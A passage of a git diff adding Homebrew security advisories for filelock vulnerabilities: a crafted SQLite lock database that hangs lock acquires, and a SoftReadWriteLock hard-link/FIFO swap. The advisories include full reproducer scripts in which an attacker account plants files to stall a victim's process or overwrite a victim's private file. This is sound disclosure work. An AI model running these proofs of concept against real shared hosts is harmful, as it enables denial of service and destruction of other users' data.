0o666) # the victim's ReadWriteLock opens the database read-write\nprint(f\"attacker: wrote {database}: {schema_rows} schema rows in {written} bytes, apparent size {CLAIMED_PAGES * PAGE_SIZE}\")\n```\n\n**`repro.d/victim_reader.py`**\n\n```python\nimport sys\nimport time\n\nfrom filelock import ReadWriteLock, Timeout\n\nlock = ReadWriteLock(sys.argv[1])\nstarted = time.monotonic()\ntry:\n with lock.read_lock(timeout=1):\n outcome = \"acquired\"\nexcept Timeout:\n outcome = \"timed out\"\nprint(f\"victim: read_lock(timeout=1) {outcome} after {time.monotonic() - started:.1f} s\")\n```\n\n## Failure sequence\n\n```mermaid\nflowchart TB\n P0[\"other user puts a crafted SQLite file at the lock path (mode 0666), or overwrites a 0666 database owned by the lock user\"] --> P1[\"lock user's acquire_read(timeout=1) opens a fresh connection, header is not WAL so it is accepted\"]\n P1 --> P2[\"PRAGMA busy_timeout then PRAGMA journal_mode=MEMORY loads all of sqlite_master, busy_timeout does not apply to schema loading\"]\n P2 --> P3[\"50 rows of ~1 GB through one self-referencing overflow page: returns after 24.6 s at 981 MB RSS, lock granted, no Timeout\"]\n P2 --> P4[\"6 interior levels pointing at one child (28 KiB): 661^6 rows, does not return, 100% CPU, SIGINT ignored, process must be killed\"]\n classDef ok fill:#d8f3dc,stroke:#2d6a4f,color:#1b4332;\n classDef bad fill:#ffd6d6,stroke:#c1121f,color:#5c0000;\n classDef info fill:#cfe4ff,stroke:#1f6feb,color:#0b1f3a;\n class P0,P1,P2 info;\n class P3,P4 bad;\n```\n\n## Evidence\n\nThe scanner's reproducer runs as root and drops to `attacker` and `victim`. It recreates `/tmp/shared-cache` with mode `0777` and no sticky bit. It runs `make_stalling_db.py /tmp/shared-cache/cache.lock.db 50` as `attacker`. That script writes the header and the `sqlite_master` root on page 1, the self-referencing overflow page on page 2, and leaf pages holding 50 valid `CREATE TABLE tNNNN(x) --AAAA…` rows whose text runs to under 1 GB through page 2, extended to the claimed page count as a hole, mode `0666`. It then runs `victim_reader.py` (`ReadWriteLock(path)` and one `with lock.read_lock(timeout=1):`) as `victim` and times it:\n\n```\nattacker: wrote /tmp/shared-cache/cache.lock.db: 50 schema rows in 36864 bytes, apparent size 1000005632\nlock database uses 36864 bytes of disk\nvictim: read_lock(timeout=1) acquired after 24.6 s\nvictim process ran for 24.8 s, peak RSS 981 MB\nBUG\n```\n\nThe verdict is `BUG` when the `victim` process, whose only work is an acquire with a one-second timeout, ran for more than 10 s. A separate script in the report (`looping_db.py`) builds the looping file; the same `victim_reader.py` run on it as `victim` does not return. A `victim` process that had already used the lock stalled on its next acquire after the other user swapped the file under it. In a `1777` directory a `0666` database owned by `victim`, overwritten in place with the looping file, hung the next acquire.\n\nOur verification: `BUG` on the scanned commit `b831496` and on the 4.2.0 image (`e2e7d70`). On the PR #834 head the `victim` process stops with a `ValueError` after 0.1 s at 24 MB peak RSS and the reproducer prints `OK`.\n\n## Impact\n\nAnother local user who can create or replace the lock database makes every `acquire_read` / `acquire_write` of every process using that `ReadWriteLock` run for a time of their choosing (about 500 bytes of disk per extra half second) while allocating about 1 GB, or not return at all, regardless of `timeout` or `blocking=False`. This goes beyond what holding the lock gives that user, because a held lock ends in `Timeout` when the caller's timeout runs out, and this does not. With the looping-page layout the acquiring thread spins at 100% of one CPU on a free lock, `Timeout` is not raised, Ctrl-C does not interrupt it, and only killing the process ends it. It is a denial of service of the lock user's process only: it reads nothing and corrupts nothing, and in the long-row case the lock is still granted afterwards.\n\n## Workarounds\n\n- Keep the `ReadWriteLock` database in a directory that only the locking account (or root) can write, with no group or other write bit. Make sure every ancestor belongs to that account or root and is either not writable by others or sticky.\n- Do not give the lock a database another account may write. The lock creates its database `0600`, and leaving it that way keeps other accounts from supplying its content. A lock shared between accounts through a `0666` database stays reachable even in `/tmp`.\n- If a stall or hang appears, the file at the lock path is the cause; replacing it with an empty file restores the lock.\n\n## Patched version\n\n4.2.1.\n\nFix: https://github.com/tox-dev/filelock/pull/834\n\n## Credits\n\nReported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.\n\n- 2026-10-15 23:08 UTC: report received (scan `filelock-20261015-005` of commit `b831496b0273`)\n- 2026-10-16 05:38 UTC: draft advisory GHSA-v4x8-3wr5-3wq8 created for the group; this per-finding draft split out of it\n- 2026-10-16 01:15 UTC: fix PR #834 opened", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H" + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/security/advisories/GHSA-cwqr-hh33-gh44" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-112915" + }, + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/pull/834" + }, + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/commit/5e3f2ec0c5fb17cb2635b60b2b68bc63ab81ca2d" + }, + { + "type": "PACKAGE", + "url": "https://github.com/tox-dev/filelock" + }, + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/releases/tag/4.2.1" + } + ] +} diff --git a/advisories/BREW-virtualenv-CVE-2026-112934.json b/advisories/BREW-virtualenv-CVE-2026-112934.json new file mode 100644 index 00000000000..bb07d6f101c --- /dev/null +++ b/advisories/BREW-virtualenv-CVE-2026-112934.json @@ -0,0 +1,88 @@ +{ + "schema_version": "1.7.3", + "id": "BREW-virtualenv-CVE-2026-112934", + "published": "2026-10-29T23:11:49Z", + "modified": "2026-10-29T23:11:49Z", + "upstream": [ + "GHSA-fj95-fr6c-h845", + "CVE-2026-112934" + ], + "affected": [ + { + "package": { + "ecosystem": "Homebrew", + "name": "virtualenv", + "purl": "pkg:brew/virtualenv" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "21.10.0" + }, + { + "fixed": "21.14.10" + } + ] + } + ], + "ecosystem_specific": { + "fix": "bump", + "range_state": "fixed", + "upstream_fixed_in": "4.2.1", + "resource": "filelock", + "resource_purl": "pkg:pypi/filelock@4.2.4" + } + } + ], + "database_specific": { + "source": "matched", + "strategy": "registry", + "confidence": "high", + "upstream_evidence": [ + { + "strategy": "registry", + "ecosystem": "PyPI", + "name": "filelock", + "subject_version": "4.2.4", + "key": "pkg:pypi/filelock@4.2.4", + "resource": "filelock" + } + ] + }, + "summary": "filelock: SoftReadWriteLock holder refresh writes through a hard link and hangs on a named pipe that another local user renames over its record", + "details": "`SoftReadWriteLock` (and `AsyncSoftReadWriteLock`, which wraps one) refreshes its holder record (the file under `.rw/holders/` that says a process holds or wants the lock) on every poll of a waiting acquire and on every heartbeat (the periodic refresh a holder runs to keep its record fresh). It does so by reopening `.rw/holders/` by name with a plain blocking `O_WRONLY | O_NOFOLLOW` open and writing at offset 0, without checking what it opened. `O_NOFOLLOW` makes the open fail only when the final name is a symbolic link (a file that redirects to another path).\n\nA different local user (the other user below) who owns the lock's `.rw` tree reads the token of the user running the lock (the lock user below) from the `holders/` listing and renames another node over the record. The other user owns the tree because it created it first in a sticky directory such as `/tmp` (the sticky bit is a directory flag that lets only a file's owner rename or remove it), or because it can write a lock directory without the sticky bit.\n\nA FIFO (a named pipe: a file whose open for writing blocks until some process opens it for reading) makes the lock user's `write_lock()` / `read_lock()` hang regardless of `timeout`. It also stops a lock holder's heartbeat thread without `on_compromise` (the callback that tells a holder it lost the lock) ever running, so the lock grants a second process while the first still believes it holds it. This works on a default Linux.\n\nWhere the kernel lets a user hard-link a file it does not own (a hard link is a second name for the same file; Linux with `fs.protected_hardlinks=0`; macOS and the BSDs by their defaults, not executed), a hard link makes the lock user overwrite the first ~135 bytes of one of its own private files with its holder record. Affected versions: filelock >= 4.0.0 and <= 4.2.0. Anthropic's OSS Scanner reported it in private as `ANT-2026-AT33VEVC` [medium, CWE-62], titled \"SoftReadWriteLock holder refresh writes through hard links, hangs on FIFOs\".\n\n## Severity\n\n**CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H, 6.1 (Medium).**\n\n`AV:L` (local): the other user needs an account on the same host. `AC:L` (low attack complexity): on a default Linux there is no race. `PR:L` (low privileges): a local user with ordinary privileges is enough. `UI:N` (no user interaction): the lock user's process acts on its own. `C:N` (no confidentiality impact): the other user learns nothing. `I:L` (low integrity impact): where the kernel permits hard links to files one does not own, the lock user also writes its holder record over the first ~135 bytes of one of its private files. The bytes are filelock's record, not chosen by the other user, so the change stays within that record. `A:H` (high availability impact): the other user makes a lock user's acquire outlast any `timeout` and leaves a holder's heartbeat thread asleep. The lock then evicts the holder without telling it, and two processes believe they hold the write lock.\n\nClassification from the external review: conditional security. The owner of a planted `.rw` tree can make the refresh open a FIFO and stall a lock user, including its heartbeat. Overwriting a file of the lock user through a hard link also needs a permissive hard-link policy. The scanner rated it medium.\n\n## Scope and preconditions\n\n- Trust boundary: the other party is a different local account that owns the lock's `.rw` tree. Either it created `.rw` (with `gen/` and `holders/`) before the lock's first use in a sticky directory such as `/tmp`, where `prepare()` adopts an existing tree whoever owns it and whatever its mode. Or the lock lives in a directory without the sticky bit that the account can write (the scanner checked a root-created `0777` directory). There being first is not needed, because the other user renames the lock user's own `0700` tree aside and puts its own in place; `prepare()` does not run again for a live lock object, and a waiting lock user recreates its record in the replacement. A tree the lock user already created in a sticky directory (mode `0700`) is out of reach.\n- FIFO variant: needs only that boundary. It works on a default Linux. `fs.protected_hardlinks` plays no part, and `fs.protected_fifos=1` (a Linux setting that refuses some opens of FIFOs in sticky world-writable directories) does not help, since it covers `O_CREAT` opens in sticky directories only, and the other user renames the FIFO into place inside its own `holders/`.\n- Hard-link variant: also needs a kernel that permits a hard link to a file the caller does not own. That is Linux with `fs.protected_hardlinks=0` (the kernel's built-in value; observed), while most distributions and the scanner's test image boot with `1`, under which the other user's `link()` fails with `EPERM` (operation not permitted) and the file stays untouched. macOS and the BSDs have no such restriction by default; that follows from their `link(2)` semantics, and the scanner did not execute it. The target must be a regular file the lock user may write, on the same filesystem as the lock, in a directory the other user can search. A `0600` file in a `0755` home directory qualifies; a file under a `0700` directory does not.\n- Platform: observed on Linux 6.1. `AsyncSoftReadWriteLock` runs the same code through an executor thread and loses that thread (from the code, not run). On Windows named pipes cannot live in a regular directory, so there is no FIFO case there.\n- Ancestor boundary: protection against another local user is possible only while no other user can replace the lock's directory or any of its ancestors. That is the case when each ancestor belongs to the lock user or root and is either not writable by others or sticky.\n\n## Affected code\n\nAt the scanned commit `b831496b0273`, [`OsFiles.overwrite` opens by name with `O_WRONLY | O_NOFOLLOW` and writes without `fstat`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_storage.py#L94-L100) (`fstat` would report the type of the file behind the open descriptor), while [`read` just above it uses `O_NONBLOCK` and a regular-file check](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_storage.py#L36-L43). The blocking open is [`_attempt_open`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_storage.py#L156-L160) via [`_open`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_storage.py#L143). [`prepare` adopts an existing tree whoever owns it](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_storage.py#L121-L133). The single caller is [`Participant._refresh_nonce`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_protocol.py#L544-L545), reached from [`_keep_claim_fresh`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_protocol.py#L487-L496) on every poll of a waiting acquire and from [`heartbeat`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_protocol.py#L547-L560), which knows only `lost` and `transient`, not a call that does not return. The acquire loop checks its deadline and the `_closed` flag only after `advance()` returns ([`_sync.py` lines 584–592](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_sync.py#L584-L592)). The code maps the heartbeat outcome at [lines 603–613](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_sync.py#L603-L613), and release joins the heartbeat thread for `heartbeat_interval + 1` at [line 446](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_sync.py#L446).\n\n## Introduced\n\nThe unguarded reopen came with `f974328` (\"fix(soft-rw): replace the state mutex with a generation log (#738)\", 2026-09-17), which dropped the earlier marker code's check of the opened descriptor. It was first released in 4.0.0 (verified with `git tag --contains f974328`, which answers 4.0.0).\n\n## Mechanism\n\n`OsFiles.overwrite()` refreshes a holder record by opening `holders/` by name and writing at offset 0. `O_NOFOLLOW` refuses a symbolic link at that name (a planted one ends the acquire with `OSError: [Errno 40]` and the target untouched). A hard link is an ordinary directory entry, and a FIFO is not a symbolic link either. Nothing between the open and the write checks that the descriptor is the file `create()` made. Another user who can rename inside `holders/` has two ways to use the one unguarded reopen, depending on the node it puts under the lock user's record name:\n\n1. The other user can write `holders/`. `prepare()` uses an existing protocol tree whoever owns it; it checks only the node type. In sticky `/tmp`, the user who creates `/tmp/app.lock.rw/{gen,holders}` before the lock's first use owns `holders/` and may rename over anything the lock user creates in it. In a shared directory without the sticky bit, being first is not needed.\n2. The lock user publishes its record and drops the descriptor. `Participant.publish()` calls `OsFiles.create()`, which opens `holders/` with `O_CREAT | O_EXCL`, writes the record and closes. The token is the file name, so the other user reads it from a listing of its own directory.\n3. The other user swaps the name. Hard link: `link(\"/home/victim/accounts.csv\", \"holders/link\")`, then `rename(\"holders/link\", \"holders/\")`; `link(2)` needs search permission on `/home/victim` and write permission on `holders/`, nothing on the file. FIFO: `mkfifo` (mode `0666`) + `rename`, so the name is absent at no point and the lock user does not take the \"record is gone, recreate it\" branch.\n4. The lock user writes by name. Each poll of a waiting acquire (`poll_interval`, 0.25 s) runs `advance()` → `_keep_claim_fresh()` → `_refresh_nonce()` → `overwrite()`. With the hard link the lock user owns the linked file, so `O_WRONLY` succeeds and `write_all` puts `encode_holder(...)` at offset 0 without truncating. The lock user's call then ends in an ordinary `Timeout`. A granted holder does the same from its heartbeat thread every `heartbeat_interval` (30 s by default). With `heartbeat_interval=0.5`, the holder also writes through a link planted one second after it got the write lock, and `lock.compromise` stays `None`.\n5. The link disappears. On `Timeout` or release, `leave()` unlinks `holders/`, which is now the other user's link. The target is back to one link and `holders/` is empty.\n\nThe scanner observed this with the hard link. `victim` runs `SoftReadWriteLock(\"/tmp/app.lock\").write_lock(timeout=2)` and waits. `attacker`, who created `/tmp/app.lock.rw` first, renames a hard link to `/home/victim/accounts.csv` (mode `0600`, owner `victim`; the `attacker` account can neither read nor write it) over the record. The file keeps its size, owner and mode. It now begins `filelock-rw/1\\ntoken=ea480210b6cacc96a657f16d93f7f284\\npid=210\\nhost=cfz?pidns-f0000217\\nlease=90.0\\nnonce=5f8f61dcf2607b56ef05c521bdade557\\n`, followed by its original content from offset 135 on (the record length varies with the PID and the host name).\n\nThe same reopen with a FIFO: `open(fifo, O_WRONLY)` without `O_NONBLOCK` (the flag that makes such an open return at once) blocks until the FIFO has a reader. The scanner observed two cases on the image with its default settings.\n\nIn a waiting acquire, the code checks the deadline one level above the blocked call, so an `open` that does not return outlasts any `timeout`, and a `close()` from another thread. The lock user, with the FIFO in place of the hard link, is still inside `write_lock(timeout=2)` 12 s later, at `_storage.py:158 _attempt_open ← :143 _open ← :96 overwrite ← _protocol.py:545 _refresh_nonce ← :494 _keep_claim_fresh ← :464 advance ← _sync.py:584 _wait_for ← :512 _do_acquire_inner`; without the FIFO the same call raises `Timeout` after 2.0 s.\n\nInside filelock the only thing that ends the block is a peer's `read()` of the same name: its non-blocking open is a reader for a moment, the stuck open returns, and `write_all` then fails with `EPIPE` (broken pipe). Peers read a waiter's record only in `_sweep`, at most every `stale_threshold / 2` (`stale_threshold` is the age after which peers treat a record as abandoned). With a live holder on default settings `write_lock(timeout=2)` returned after 59.9 s with `BrokenPipeError` instead of `Timeout`, and with no live peer it was still blocked after 150 s. The blocked thread is also still inside `_acquire`'s `self._locks.transaction` section, so other threads acquiring through the same instance wait behind it.\n\nFor a holder's heartbeat, `heartbeat()` knows two failures. `overwrite` returning `False` is `lost`, an `OSError` is `transient`, and `_refresh` turns those into an `evicted` or a `refresh-failed` compromise. A blocked call is neither. With `heartbeat_interval=1, stale_threshold=3` and the FIFO renamed over the record after the grant: 6.5 s later `lock.compromise` is still `None`, `on_compromise` has not run, `release()` takes 2.0 s (the join timeout; 31 s with the default interval) and the `filelock-heartbeat-*` thread is still alive after it. For comparison, when someone deletes the record outright, the holder learns `evicted` at its next heartbeat.\n\nWhen whoever planted the FIFO keeps it open with the pipe buffer full, the `open` succeeds and `write_all` is what blocks, and peers' reads no longer disturb it. Run that way with the same intervals, a second process read the record as `b\"\"`, evicted the holder after `stale_threshold` and got the write lock 3.0 s later, while the first process was still in its critical section with `lock.compromise is None` and `on_compromise` not called.\n\n## Reproduction\n\nThe scanner's reproducer for finding `ANT-2026-AT33VEVC`, as received, ran against commit b831496b0273ecd11bf02b8d080ca8b673a538c1. The `repro` script drives the files under `repro.d/`.\n\n**`repro`**\n\n```python\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\nimport sys\n\nLOCK_TREE = \"/tmp/app.lock.rw\"\nVICTIM_FILE = \"/home/victim/accounts.csv\"\nPROTECTED_HARDLINKS = \"/proc/sys/fs/protected_hardlinks\"\nas_victim = [\"runuser\", \"-u\", \"victim\", \"--\"]\nas_attacker = [\"runuser\", \"-u\", \"attacker\", \"--\"]\n\n# set up: a file only the victim may read or write, on the same filesystem as /tmp\noriginal = b\"name,balance\\n\" + b\"\".join(b\"customer-%03d,1000\\n\" % n for n in range(20))\nwith open(VICTIM_FILE, \"wb\") as f:\n f.write(original)\nshutil.chown(VICTIM_FILE, \"victim\", \"victim\")\nos.chmod(VICTIM_FILE, 0o600)\nshutil.rmtree(LOCK_TREE, ignore_errors=True)\n\ndirect_write = subprocess.run([*as_attacker, \"truncate\", \"-s\", \"0\", VICTIM_FILE], capture_output=True, text=True)\nprint(\"CONTROL attacker writes the file itself:\", direct_write.stderr.strip())\nassert direct_write.returncode != 0\n\n# The one non-default setting: 0 (the kernel's built-in value, and what macOS and the BSDs allow) lets a user hard-link\n# a file it does not own. With 1, as this image boots, the attacker's link() fails with EPERM. Kernel-wide, so restored.\nprotected_hardlinks_before = open(PROTECTED_HARDLINKS).read()\nopen(PROTECTED_HARDLINKS, \"w\").write(\"0\")\ntry:\n # attack\n subprocess.run([*as_attacker, sys.executable, \"/tmp/repro.d/attacker_creates_lock_tree_first.py\"], check=True)\n link_planter = subprocess.Popen(\n [*as_attacker, sys.executable, \"/tmp/repro.d/attacker_plants_hard_link.py\"], stdout=subprocess.PIPE, text=True\n )\n victim_app = subprocess.run(\n [*as_victim, sys.executable, \"/tmp/repro.d/victim_app.py\"], stdout=subprocess.PIPE, text=True, check=True\n )\n victim_token = link_planter.communicate()[0].strip()\n assert link_planter.returncode == 0\nfinally:\n open(PROTECTED_HARDLINKS, \"w\").write(protected_hardlinks_before)\n\n# check: the victim's holder record belongs in holders/, never in another file\nprint(\"victim app:\", victim_app.stdout.strip())\nprint(\"attacker replaced holders/\" + victim_token, \"with a hard link to\", VICTIM_FILE)\nafter = open(VICTIM_FILE, \"rb\").read()\ninfo = os.stat(VICTIM_FILE)\nprint(f\"OBSERVED {VICTIM_FILE} (uid {info.st_uid}, mode {info.st_mode & 0o777:o}) now begins:\")\nprint(after[:200].decode(errors=\"replace\"))\nprint(\"BUG\" if after.startswith(b\"filelock-rw/1\\ntoken=\" + victim_token.encode() + b\"\\n\") else \"OK\")\n```\n\n**`repro.d/attacker_creates_lock_tree_first.py`**\n\n```python\nimport os\n\nLOCK_TREE = \"/tmp/app.lock.rw\"\n\nos.umask(0)\nos.mkdir(LOCK_TREE, 0o777)\nos.mkdir(f\"{LOCK_TREE}/gen\", 0o777)\nos.mkdir(f\"{LOCK_TREE}/holders\", 0o777)\n\n# A snapshot naming some other writer, so the victim keeps polling (and refreshing its record) instead of being granted.\nwith open(f\"{LOCK_TREE}/gen/00000000000000000001\", \"w\") as snapshot:\n snapshot.write(\"filelock-rw/1\\ngeneration=1\\nwriter=\" + \"a\" * 32 + \"\\n\")\n```\n\n**`repro.d/attacker_plants_hard_link.py`**\n\n```python\nimport os\nimport time\n\nHOLDERS = \"/tmp/app.lock.rw/holders\"\nVICTIM_FILE = \"/home/victim/accounts.csv\"\n\ndeadline = time.monotonic() + 30\nwhile not (records := os.listdir(HOLDERS)):\n assert time.monotonic() < deadline, \"the victim never published a holder record\"\n time.sleep(0.01)\nvictim_token = records[0]\n\n# link(2) needs write permission on holders/ and search permission on /home/victim, nothing on the file itself.\nos.link(VICTIM_FILE, f\"{HOLDERS}/link\")\nos.rename(f\"{HOLDERS}/link\", f\"{HOLDERS}/{victim_token}\")\nprint(victim_token)\n```\n\n**`repro.d/victim_app.py`**\n\n```python\nimport time\n\nfrom filelock import SoftReadWriteLock, Timeout\n\nstarted = time.monotonic()\ntry:\n with SoftReadWriteLock(\"/tmp/app.lock\").write_lock(timeout=2):\n print(\"got the write lock\")\nexcept Timeout:\n print(f\"Timeout after {time.monotonic() - started:.1f} s\")\n```\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n participant A as other local user (owns /tmp/app.lock.rw)\n participant V as lock user (write_lock, timeout=2)\n participant H as holders/ (owned by the other user, 0777)\n participant T as /home/victim/accounts.csv (0600)\n rect rgb(255, 214, 214)\n Note over A,T: filelock 4.0.0 to 4.2.0\n A->>H: before the lock user's first use, create app.lock.rw, gen and holders (0777) and one snapshot naming another writer\n V->>H: publish(), create(holders/token) with O_CREAT O_EXCL, write the record, close\n A->>H: read the token from the listing\n A->>T: link(accounts.csv, holders/link), needs fs.protected_hardlinks=0\n A->>H: rename(holders/link, holders/token)\n V->>H: poll, _refresh_nonce(), overwrite() opens holders/token by name with O_WRONLY O_NOFOLLOW, no fstat\n V->>T: write_all at offset 0, the first 135 bytes of accounts.csv are now the holder record\n V->>H: Timeout after 2.0 s, leave() unlinks holders/token (the link)\n Note over A,H: FIFO variant on default Linux, mkfifo + rename over holders/token instead of the link\n V->>H: overwrite() opens the FIFO without O_NONBLOCK and sleeps until a reader appears\n Note over V,H: write_lock(timeout=2) still blocked 150 s later, a holder's heartbeat thread sleeps the same way and on_compromise does not run\n end\n```\n\n## Evidence\n\nThe scanner's reproducer runs as root and starts each party under its own account with `runuser`. It writes `0` to `/proc/sys/fs/protected_hardlinks` for the run (restored afterwards; this is why it needs the privileged container), creates `/home/victim/accounts.csv` (20 lines of CSV, owner `victim`, mode `0600`) and shows that `attacker` cannot write it. Then `attacker_creates_lock_tree_first.py` creates `/tmp/app.lock.rw`, `gen/` and `holders/` with mode `0777` and one snapshot naming some other writer, so the lock user's acquire polls instead of getting the lock at once. `victim_app.py` runs `SoftReadWriteLock(\"/tmp/app.lock\").write_lock(timeout=2)`. `attacker_plants_hard_link.py` waits for the lock user's record to appear in `holders/`, hard-links `accounts.csv` beside it and renames the link over the record. Expected output on the scanned commit (token, PID and nonce vary):\n\n```\nCONTROL attacker writes the file itself: truncate: cannot open '/home/victim/accounts.csv' for writing: Permission denied\nvictim app: Timeout after 2.0 s\nattacker replaced holders/42cc890a86c300dd889f1376d9995abf with a hard link to /home/victim/accounts.csv\nOBSERVED /home/victim/accounts.csv (uid 1000, mode 600) now begins:\nfilelock-rw/1\ntoken=42cc890a86c300dd889f1376d9995abf\npid=131\nhost=cfz?pidns-f0000217\nlease=90.0\nnonce=293a8c7462249a2e9bf283a793bb5f45\n000\ncustomer-007,1000\n...\nBUG\n```\n\nThe reproducer prints `BUG` only if the file now begins with `filelock-rw/1\\ntoken=\\n`, the holder record the lock user's own `OsFiles.overwrite()` wrote through the link. The FIFO variant is one line away (`os.mkfifo(...)` + `chmod 0o666` in place of `os.link`) and needs no sysctl change: the lock user's program prints nothing and is still running after 8 s with `timeout=2`, and `kill -ABRT` prints the stack quoted above. The same run with `root` taking the lock overwrote a `0600` file in `/etc` that only root can access.\n\nOur verification: `BUG` on the scanned commit `b831496` and on the 4.2.0 image (`e2e7d70`). On the PR #842 stack head the stock reproducer reaches no verdict, because the stack's owner check refuses the `/tmp/app.lock.rw` owned by the other account with `RuntimeError` before the lock user publishes a record (the target stays untouched). With that owner check disabled, the stock reproducer prints `OK` with `accounts.csv` intact. The independent review's FIFO variant (`mkfifo` + rename, no sysctl change) shows the 4.2.0 lock user not returning within 15 s (container killed at 300 s) against `Timeout after 2.0 s` on the PR head.\n\n## Impact\n\nOn a default Linux (`fs.protected_hardlinks=1`) the reachable effect is the FIFO hang. The other user makes a lock user's `acquire_read` / `acquire_write` / `read_lock` / `write_lock` hang whatever `timeout` the caller passed. That user could already keep the lock busy, in which case the lock user gets `Timeout` on time; the FIFO takes that away. Against a process that holds the lock, the FIFO stops the heartbeat thread, which is the only path by which a holder learns of its eviction. After `stale_threshold` (90 s by default) a second process takes the lock and nothing tells the first, so a live holder and its evictor both believe they hold the write lock and `on_compromise` does not run.\n\nA user who owns the tree can already get a reader granted beside a live writer by writing one forged `gen/` snapshot. What this bug adds is the acquire that outlasts its `timeout` and the heartbeat thread that does not return. The FIFO variant touches nothing outside the lock's own directory.\n\nWhere the kernel allows the hard link, a different local user corrupts files it has no access to, with the rights of the process that takes the lock. filelock's holder record replaces the first 135 bytes or so of the target. The other user does not choose the bytes, so the result is data destruction, not code execution: the header of a database or archive, the first lines of a configuration or credential file. This is the hard-link counterpart, on a derived name of the soft read-write lock, of the symbolic link fixes at the lock path recorded in the changelog (3.20.1 for lock file creation, 3.20.3 for `SoftFileLock`), which `O_NOFOLLOW` does not cover.\n\n## Workarounds\n\n- Keep the lock path in a directory that only the locking account (or root) can write, with no group or other write bit. Make sure every ancestor belongs to that account or root and is either not writable by others or sticky. Do not share a `SoftReadWriteLock` between accounts through a `0777` or group-writable directory.\n- In a sticky directory such as `/tmp`, make sure the locking account creates `.rw` before anyone else can, and refuse to use a lock path whose `.rw` belongs to another account.\n- Keep `fs.protected_hardlinks=1` (the default on mainstream Linux distributions). It removes the file-overwrite variant, not the FIFO stall.\n\n## Patched version\n\n4.2.1.\n\nFix: https://github.com/tox-dev/filelock/pull/842\n\n## Credits\n\nReported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.\n\n- 2026-10-15 23:08 UTC: report received (scan `filelock-20261015-005` of commit `b831496b0273`)\n- 2026-10-16 01:39 UTC: fix PR #842 opened\n- 2026-10-16 05:42 UTC: draft advisory created (first as part of GHSA-wfhq-q4j2-c37m, then split into this advisory)", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H" + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/security/advisories/GHSA-fj95-fr6c-h845" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-112934" + }, + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/pull/842" + }, + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/commit/bfa066d65a1ba9106f86ee9d027f7588b9c77e03" + }, + { + "type": "PACKAGE", + "url": "https://github.com/tox-dev/filelock" + }, + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/releases/tag/4.2.1" + } + ] +} diff --git a/advisories/BREW-virtualenv-CVE-2026-112935.json b/advisories/BREW-virtualenv-CVE-2026-112935.json new file mode 100644 index 00000000000..49346277ae5 --- /dev/null +++ b/advisories/BREW-virtualenv-CVE-2026-112935.json @@ -0,0 +1,88 @@ +{ + "schema_version": "1.7.3", + "id": "BREW-virtualenv-CVE-2026-112935", + "published": "2026-10-29T23:11:49Z", + "modified": "2026-10-29T23:11:49Z", + "upstream": [ + "GHSA-fq56-3cx3-fjxp", + "CVE-2026-112935" + ], + "affected": [ + { + "package": { + "ecosystem": "Homebrew", + "name": "virtualenv", + "purl": "pkg:brew/virtualenv" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "20.37.0" + }, + { + "fixed": "21.14.10" + } + ] + } + ], + "ecosystem_specific": { + "fix": "bump", + "range_state": "fixed", + "upstream_fixed_in": "4.2.1", + "resource": "filelock", + "resource_purl": "pkg:pypi/filelock@4.2.4" + } + } + ], + "database_specific": { + "source": "matched", + "strategy": "registry", + "confidence": "high", + "upstream_evidence": [ + { + "strategy": "registry", + "ecosystem": "PyPI", + "name": "filelock", + "subject_version": "4.2.4", + "key": "pkg:pypi/filelock@4.2.4", + "resource": "filelock" + } + ] + }, + "summary": "filelock: SoftFileLock stale-lock break removes a live lock file on a reused inode number and admits two holders", + "details": "The stale-lock break shared by `SoftFileLock`, `MarkerSoftFileLock` and `SoftFileLease` (and their async variants, and a `FileLock` that has fallen back to a soft lock on `ENOSYS`, the \"not implemented\" error) recognises the marker it judged stale by two values. The marker is the lock file at ``, whose presence says a process holds the lock. The values are its inode number (the kernel's identity for a file, independent of its name) and its modification time (mtime) not being newer. The check runs after the contender has already closed the marker, so nothing keeps the inode allocated.\n\nOn a filesystem that hands a freed inode number straight to the next file (ext4, xfs, overlayfs on them) the next holder's marker can carry that number. A contender still between 